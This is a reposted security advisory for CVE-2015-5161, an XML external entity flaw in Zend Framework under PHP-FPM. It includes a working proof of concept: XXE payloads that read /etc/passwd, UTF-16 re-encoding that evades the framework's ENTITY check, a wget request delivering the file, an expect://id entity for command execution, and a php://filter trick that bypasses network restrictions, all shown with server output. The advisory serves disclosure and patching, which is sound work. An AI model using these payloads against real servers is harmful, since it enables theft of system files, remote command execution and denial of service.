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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
=============================================
- Release date: 12.08.2015
- Discovered by: Dawid Golunski
- Severity: High
- CVE-ID: CVE-2015-5161
=============================================

 
I. VULNERABILITY
-------------------------

Zend Framework <= 2.4.2     XML eXternal Entity Injection (XXE) on PHP FPM
Zend Framework <= 1.12.13

 
II. BACKGROUND
-------------------------

- Zend Framework 

From http://framework.zend.com/about/ website:

"Zend Framework 2 is an open source framework for developing web applications 
and services using PHP 5.3+. Zend Framework 2 uses 100% object-oriented code and 
utilises most of the new features of PHP 5.3, namely namespaces, late static 
binding, lambda functions and closures.

Zend Framework 2 evolved from Zend Framework 1, a successful PHP framework with
over 15 million downloads."


- PHP FPM

http://php.net/manual/en/install.fpm.php

"FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with
 some additional features (mostly) useful for heavy-loaded sites."

Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI 
process manager into its codebase. However PHP-FPM was available earlier as a 
separate project (http://php-fpm.org/).

 
III. INTRODUCTION
-------------------------

The XML standard defines a concept of external entites. 
XXE (XML eXternal Entity) attack is an attack on an application that parses XML 
input from untrusted sources using incorrectly configured XML parser. 
The application may be forced to open arbitrary files and/or network resources.
Exploiting XXE issues on PHP applications may also lead to denial of service or
in some cases (for example, when an 'expect' PHP module is installed) lead to 
command execution.

An independent security reserach of Zend Framework revealed that it is 
possible to bypass XXE security controls within the framework in case 
the PHP application using Zend XML related classes (e.g Zend_XmlRpc_Server, 
Zend_Feed, Zend_Config_Xml etc.) from Zend Framework is served via PHP FPM.
Bypassing the controls may allow XXE attacks and lead to the aforementioned 
exploitation possibilities on systems where the XML parser is set to resolve 
entities.

IV. DESCRIPTION
-------------------------
 
The security controls within the Zend Framework mitigate the XXE attack vectors
by first calling libxml_disable_entity_loader(), and then looping 
through the DOMDocument nodes testing if any is of type: XML_DOCUMENT_TYPE_NODE
If so, an exception is raised and PHP script execution is halted.

These controls have been included in the scan() function of a Zend_Xml_Security 
class located in the following paths depending on the code branch of Zend 
Framework:

ZendFramework-1.12.13/library/Zend/Xml/Security.php

ZendFramework-2.4.2/library/ZendXml/Security.php


In case of the latest version of ZendFramework-1.12.13, 
the relevant code blocks from the scan() function look as follows:


---[library/Zend/Xml/Security.php ]---

    public static function scan($xml, DOMDocument $dom = null)
    {
        if (self::isPhpFpm()) {
            self::heuristicScan($xml);
        }

        if (!self::isPhpFpm()) {
            $loadEntities = libxml_disable_entity_loader(true);
            $useInternalXmlErrors = libxml_use_internal_errors(true);
        }

        // Load XML with network access disabled (LIBXML_NONET)
        $result = $dom->loadXml($xml, LIBXML_NONET);
        restore_error_handler();

        if (!self::isPhpFpm()) {
            libxml_disable_entity_loader($loadEntities);
            libxml_use_internal_errors($useInternalXmlErrors);
        }

        if (!$result) {
            return false;
        }

        // Scan for potential XEE attacks using ENTITY, if not PHP-FPM
        if (!self::isPhpFpm()) {
            foreach ($dom->childNodes as $child) {
                if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
                    if ($child->entities->length > 0) {
                        require_once 'Exception.php';
                        throw new Zend_Xml_Exception(self::ENTITY_DETECT);
                    }
                }
            }
        }

        if (isset($simpleXml)) {
            $result = simplexml_import_dom($dom);
            if (!$result instanceof SimpleXMLElement) {
                return false;
            }
            return $result;
        }
        return $dom;


--------------------------------------


As we can see from the code, the application disables the entity loader
(via libxml_disable_entity_loader), it also disables network access 
(LIBXML_NONET), and it additionally scans provided XML for the presence of XML
entities to prevent potential entity expansion attacks.  
The code succesfully prevents most XXE attacks. 

However, as the PHP libxml_disable_entity_loader() function was reported not
thread safe (the entity loader setting could potentially get overwritten 
between hits in FPM processes), Zend Framework does not use it when the 
application is hosted in a PHP-FPM environment. Instead, another approach is 
taken to prevent the XXE attacks.

In the code above we see the check !self::isPhpFpm() which determines the type
of interface between web server and PHP (through the php_sapi_name() function). 
If the SAPI is FPM-CGI (i.e. PHP-FPM) the following heuristicScan function gets 
executed: 

---[library/Zend/Xml/Security.php ]---

    protected static function heuristicScan($xml)
    {
        if (strpos($xml, '<!ENTITY') !== false) {
            require_once 'Exception.php';
            throw new Zend_Xml_Exception(self::ENTITY_DETECT);
        }
    }

--------------------------------------

It validates provided XML by searching for any entity declaration. It throws an
exception if it finds one. 
Although this check cannot be bypassed by simply adding spaces or changing 
the characters to lower case (an XML parser would reject such declaration 
as invalid), this security check is nevertheless insufficient. 

XML format allows for different types of encoding to be used, hence it is 
possible to bypass the check by supplying specifically encoded XML content.
For example, a UTF-16 encoding which uses 2-byte characters would be enough to
bypass the ENTITY string check. 

Apart from the ENTITY check, the code also adds the aformentioned LIBXML_NONET
parameter to catch entities refering to network resources. 
This limitation can also be bypassed as shown in the proof of concept exploit. 

This makes the Zend Framework vulnerable to XXE injection attacks.

 
V. PROOF OF CONCEPT
-------------------------
 
Below is a simple PHP application using Zend Framework to implement an XML-RPC
server for demonstation:

---[ zend_xmlrpc_server.php ]--

<?php
// Simple XML-RPC SERVER

	function helloworld() {
	    $text = "Hello world! This request was executed via ".php_sapi_name().".";
	    return $text;
	}
	set_include_path("./ZendFramework-1.12.13/library/");
	require_once("./ZendFramework-1.12.13/library/Zend/Loader/Autoloader.php");
	Zend_Loader_Autoloader::getInstance();

	$server = new Zend_XmlRpc_Server();
	$server->addFunction('helloworld');

	echo $server->handle();
?>

-------------------------------

This test application is hosted on an Apache server with PHP-FPM.

Requesting:

POST /zend_poc/zend-xmlrpc-server.php HTTP/1.1
Host: apache-php-fpm

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>helloworld</methodName>
</methodCall>

should return:

<methodResponse><params><param><value><string>Hello world! 
This request was executed via fpm-fcgi.</string></value></param></params>
</methodResponse> 


In order to exploit the XXE vulnerability contained in the Zend framework 
an attacker can pass XML data containing external entities similar to:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE methodCall [
  <!ENTITY pocdata SYSTEM "file:///etc/passwd">
]>
<methodCall>
  <methodName>retrieved: &pocdata;</methodName>
</methodCall>


Feeding the above data to the zend-xmlrpc-server.php script will result in
an error:

<int>631</int></value></member><member><name>faultString</name><value>
<string>Failed to parse request</string></value></member></struct></value>
</fault></methodResponse> 

which is due to the heuristicScan ENTITy detection.

We can now encode the data to avoid the check.

$ cat poc-utf8.xml |  sed 's/UTF-8/UTF-16/' \ 
	| iconv -f UTF-8 -t UTF-16 >poc-utf16.xml

Hex representation of the UTF-16 encoded XML file (including the change in
the xml header to reflect the new encoding) looks as follows:

$ hexdump -C poc-utf16.xml 

00000000  ff fe 3c 00 3f 00 78 00  6d 00 6c 00 20 00 76 00  |..<.?.x.m.l. .v.|
00000010  65 00 72 00 73 00 69 00  6f 00 6e 00 3d 00 22 00  |e.r.s.i.o.n.=.".|
00000020  31 00 2e 00 30 00 22 00  20 00 65 00 6e 00 63 00  |1...0.". .e.n.c.|
00000030  6f 00 64 00 69 00 6e 00  67 00 3d 00 22 00 55 00  |o.d.i.n.g.=.".U.|
00000040  54 00 46 00 2d 00 38 00  22 00 3f 00 3e 00 0a 00  |T.F.-.8.".?.>...|
00000050  3c 00 21 00 44 00 4f 00  43 00 54 00 59 00 50 00  |<.!.D.O.C.T.Y.P.|
00000060  45 00 20 00 6d 00 65 00  74 00 68 00 6f 00 64 00  |E. .m.e.t.h.o.d.|
00000070  43 00 61 00 6c 00 6c 00  20 00 5b 00 0a 00 20 00  |C.a.l.l. .[... .|
00000080  20 00 3c 00 21 00 45 00  4e 00 54 00 49 00 54 00  | .<.!.E.N.T.I.T.|
00000090  59 00 20 00 70 00 6f 00  63 00 64 00 61 00 74 00  |Y. .p.o.c.d.a.t.|
000000a0  61 00 20 00 53 00 59 00  53 00 54 00 45 00 4d 00  |a. .S.Y.S.T.E.M.|
000000b0  20 00 22 00 66 00 69 00  6c 00 65 00 3a 00 2f 00  | .".f.i.l.e.:./.|
000000c0  2f 00 2f 00 65 00 74 00  63 00 2f 00 70 00 61 00  |/./.e.t.c./.p.a.|
000000d0  73 00 73 00 77 00 64 00  22 00 3e 00 0a 00 5d 00  |s.s.w.d.".>...].|
000000e0  3e 00 0a 00 3c 00 6d 00  65 00 74 00 68 00 6f 00  |>...<.m.e.t.h.o.|
000000f0  64 00 43 00 61 00 6c 00  6c 00 3e 00 0a 00 20 00  |d.C.a.l.l.>... .|
00000100  20 00 3c 00 6d 00 65 00  74 00 68 00 6f 00 64 00  | .<.m.e.t.h.o.d.|
00000110  4e 00 61 00 6d 00 65 00  3e 00 72 00 65 00 74 00  |N.a.m.e.>.r.e.t.|
00000120  72 00 69 00 65 00 76 00  65 00 64 00 3a 00 20 00  |r.i.e.v.e.d.:. .|
00000130  26 00 70 00 6f 00 63 00  64 00 61 00 74 00 61 00  |&.p.o.c.d.a.t.a.|
00000140  3b 00 3c 00 2f 00 6d 00  65 00 74 00 68 00 6f 00  |;.<./.m.e.t.h.o.|
00000150  64 00 4e 00 61 00 6d 00  65 00 3e 00 0a 00 3c 00  |d.N.a.m.e.>...<.|
00000160  2f 00 6d 00 65 00 74 00  68 00 6f 00 64 00 43 00  |/.m.e.t.h.o.d.C.|
00000170  61 00 6c 00 6c 00 3e 00  0a 00                    |a.l.l.>...|

As can be seen on the hexdump, the ENTITY word is encoded using 2-byte
characters.

Resupplying the encoded data contained in poc-utf16.xml to the Zend XMLRPC 
application, depending on the underlying libxml library, may result in a 
password file retrival from the remote server:

$ wget -q -O /dev/stdout http://apache-phpfpm/zend_poc/zend-xmlrpc-server.php \
--post-file=poc-utf16.xml 

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse><fault><value><struct><member><name>faultCode</name><value>
<int>620</int></value></member><member><name>faultString</name><value><string>
Method "retrieved: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[cut]
" does not exist</string></value></member></struct></value></fault>
</methodResponse> 


If the password file is not returned, an attacker may try another version
of an XXE attack using parameter entities and an out-of-band communication. 
Both of these can be used to exploit the vulnerability in Zend Framework on
a greater number of libxml configurations.

Remote command execution may also be possible if the remote system has an
'expect' php module (libexpect-php) installed. 
If this is the case, we can for example execute 'id' command via injecting 
the entity:

<!ENTITY pocdata SYSTEM "expect://id">

which should return a result similar to:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse><fault><value><struct><member><name>faultCode</name><value>
<int>620</int></value></member><member><name>faultString</name><value>
<string>Method "retrieved: uid=33(www-data) gid=33(www-data) 
groups=33(www-data) " does not exist</string></value></member>


A separate POC exploit (zend-xmlrpc-exploit-cmd-exec.sh) is included which 
runs commands with parameters and also implements parameter entities/OOB 
communication.


As mentioned in the description of this vulnerability, the Zend Framework
adds a LIBXML_NONET flag to the loadXML() call in order to prevent reaching 
network resources through XXE.

As a result, requesting a network resource such as http://192.168.57.10 via XXE 
injection will fail.

This can be bypassed by using php://filter wrapper inside an entity, e.g:

<!ENTITY pocdata SYSTEM "php://filter/read=convert.base64-encode/
resource=http://192.168.57.10">

This will return a base64 encoded response from the remote server bypassing
the LIBXML_NONET restriction:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse><fault><value><struct><member><name>faultCode</name><value><int>620</int>
</value></member><member><name>faultString</name><value><string>Method "
retrieved: PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hb
C8vRU4iPgo8aHRtbD4KIDxoZWFkPgogIDx0aXRsZT5JbmRleCBvZiAvPC90aXRsZT4KIDwvaGVhZ
D4KIDxib2R5Pgo8aDE+SW5kZXggb2YgLzwvaDE+CiAgPHRhYmxlPgogICA8dHI+PHRoIHZhbGlnb
j0idG9wIj48aW1nIHNyYz0iL2ljb[cut]


This vulnerability may also lead to Denial of Service if for example the attacker 
requests /dev/random file through XXE. This will cause the application to block 
on the endless input from the random generator pseudo device, until the maximum 
execution time is reached. 
Sending multiple requests of such kind would exhaust the maximum number of 
threads that the web server can create.


VI. BUSINESS IMPACT
-------------------------

An unauthenticated remote exploitation may be possible on applications which 
make use of Zend_XmlRpc_Server with a public XML-RPC endpoint as demonstrated 
in this advisory. 
Authentication in case of XML-RPC is not required for exploitation
as the XML needs to be processed first in order for the application to read 
the credentials passed from the login data within the xml-formatted input.

This issue should be marked as high/critical due to the wide deployment of Zend 
Framework (which includes some major CMS and e-commerce applications), the 
number of Zend XML classes affected, low complexity of exploitation, as well
as a possibility of an unauthenticated remote exploitation. 
There is also a growing number of servers set up to serve PHP code with PHP-FPM,
especially in web hosting environments which need to respond to heavy load.
 
VII. SYSTEMS AFFECTED
-------------------------

All systems making use of Zend Framework in versions starting from
1.12.4 and 2.1.6 up to the latest versions of Zend Framework 1.12.13 (released
2015-05-20) and 2.4.2 (released 2015-05-11) contain the XXE injection 
vulnerability described in this advisory.

All Zend Framework classes making use of XML and calling the vulnerable
Zend_Xml_Security::scan() function are affected by this issue: 

Zend/Amf/Parse/Amf0/Deserializer.php
Zend/Amf/Parse/Amf3/Deserializer.php
Zend/Config/Xml.php
Zend/Dom/Query.php
Zend/Feed/Abstract.php
Zend/Feed/Entry/Abstract.php
Zend/Feed/Entry/Atom.php
Zend/Feed.php
Zend/Feed/Reader.php
Zend/Feed/Writer/Renderer/Entry/Atom.php
Zend/Gdata/App/Base.php
Zend/Gdata/App.php
Zend/Gdata/Gapps/ServiceException.php
Zend/Gdata/YouTube.php
Zend/Json.php
Zend/Mobile/Push/Message/Mpns/Raw.php
Zend/Rest/Client/Result.php
Zend/Search/Lucene/Document/Docx.php
Zend/Search/Lucene/Document/OpenXml.php
Zend/Search/Lucene/Document/Pptx.php
Zend/Search/Lucene/Document/Xlsx.php
Zend/Serializer/Adapter/Wddx.php
Zend/Service/Amazon/Ec2/Response.php
Zend/Service/Amazon.php
Zend/Service/Amazon/SimpleDb/Response.php
Zend/Service/Audioscrobbler.php
Zend/Service/Delicious.php
Zend/Service/Ebay/Finding.php
Zend/Service/Flickr.php
Zend/Service/SlideShare.php
Zend/Service/SqlAzure/Management/Client.php
Zend/Service/Technorati.php
Zend/Service/WindowsAzure/Diagnostics/ConfigurationInstance.php
Zend/Service/WindowsAzure/Management/Client.php
Zend/Service/WindowsAzure/Storage.php
Zend/Service/Yahoo.php
Zend/Soap/Server.php
Zend/Soap/Wsdl.php
Zend/XmlRpc/Request.php
Zend/XmlRpc/Response.php

The vulnerability can be exploited in applications using vulnerable version
of the framework, where PHP code is served with PHP-FPM, and when the xml parser
installed in the system is set up to resolves entities. 

PHP-FPM can be set up on popular web servers such as Apache, or Nginx 
on Linux/Unix, as well as Windows systems (as per the 'fpm on cygwin' setup
guides available on the Internet).

 
VIII. SOLUTION
-------------------------

Install the latest version of Zend Framework containing the patch for this 
vulnerability.
 
IX. REFERENCES
-------------------------

http://legalhackers.com/

http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt

http://framework.zend.com/blog/zend-framework-2-5-0-released.html

http://framework.zend.com/security/advisory/ZF2015-06

http://www.securiteam.com/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5161


X. DISCOVERED BY
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
 
XI. REVISION HISTORY
-------------------------

Aug 12th, 2015:  Final version
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.